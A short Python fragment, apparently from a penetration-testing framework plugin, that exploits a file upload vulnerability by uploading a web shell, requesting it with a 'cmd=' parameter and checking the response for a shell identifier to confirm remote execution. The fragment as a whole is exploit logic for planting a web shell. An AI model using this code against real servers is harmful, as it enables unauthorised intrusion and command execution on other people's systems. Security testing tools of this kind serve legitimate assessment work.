':return: True if we were able to upload and the remote server actually
executes the remote file.'

def _upload_shell_and_confirm_exec(self, vuln_obj, file_content, file_name):

    mutant = vuln_obj.get_mutant()
    mutant = mutant.copy()
    file_handler = NamedStringIO(file_content, file_name)
    mutant.set_token_value(file_handler)
    mutant.get_dc().smart_fill()
    self._uri_opener.send_mutant(mutant)
    dst = vuln_obj['file_dest']
    exploit_url = dst.get_domain_path().url_join(file_name)
    exploit_url.querystring = u'cmd='
    response = self._uri_opener.GET(exploit_url)
    if (shell_handler.SHELL_IDENTIFIER in response.get_body()):
        return exploit_url
    return None
